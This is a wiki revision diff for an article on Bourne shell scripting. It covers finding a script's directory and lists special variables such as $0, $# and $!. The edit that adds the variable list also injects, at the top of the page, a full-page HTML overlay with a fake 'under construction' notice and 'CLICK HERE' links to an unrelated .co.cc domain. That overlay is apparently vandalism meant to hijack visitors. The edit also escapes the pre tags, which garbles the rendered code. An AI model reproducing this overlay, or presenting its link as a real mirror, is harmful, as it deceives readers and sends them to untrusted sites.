Difference between revisions of "Sh"

From Secure Computing Wiki
Jump to: navigation, search
(added list of special variables)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://oleqatyqi.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://oleqatyqi.co.cc CLICK HERE]=
 +
----
 +
</div>
 
To get the name of the directory in which a script resides, the following code example will work:
 
To get the name of the directory in which a script resides, the following code example will work:
  
<pre>#!/bin/sh
+
&lt;pre>#!/bin/sh
 
echo "I live in `dirname $0`"
 
echo "I live in `dirname $0`"
  
Line 8: Line 16:
 
cd /
 
cd /
 
sh ~/test.sh
 
sh ~/test.sh
</pre>
+
&lt;/pre>
  
 
== Special Variable ==
 
== Special Variable ==
<pre>Variable ==> Meaning
+
&lt;pre>Variable ==> Meaning
 
------------------------------
 
------------------------------
 
$0 ==> Name of script
 
$0 ==> Name of script
Line 26: Line 34:
 
$- ==> Flags passed to script (using set)
 
$- ==> Flags passed to script (using set)
 
$_ ==> Last argument of previous command
 
$_ ==> Last argument of previous command
$! ==> Process ID (PID) of last job run in background</pre>
+
$! ==> Process ID (PID) of last job run in background&lt;/pre>

Revision as of 22:52, 23 November 2010



This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page


CLICK HERE


To get the name of the directory in which a script resides, the following code example will work:

<pre>#!/bin/sh echo "I live in `dirname $0`"

Simply put this in test.sh within your home directory, and do the following to see:

cd / sh ~/test.sh </pre>

Special Variable

<pre>Variable ==> Meaning


$0 ==> Name of script $1 ==> Positional parameter #1 $2-$9 ==> Positional parameters #2-#9 ${10} ==> Positional parameter #10 $# ==> Number of positional parameters "$*" ==> All the positional parameters (as a single word) "$@" ==> All the positional parameters (as separate strings) ${#*} ==> Number of command line parameters passed to script ${#@} ==> Number of command line parameters passed to script $? ==> Return value $$ ==> Process ID (PID) of script $- ==> Flags passed to script (using set) $_ ==> Last argument of previous command $! ==> Process ID (PID) of last job run in background</pre>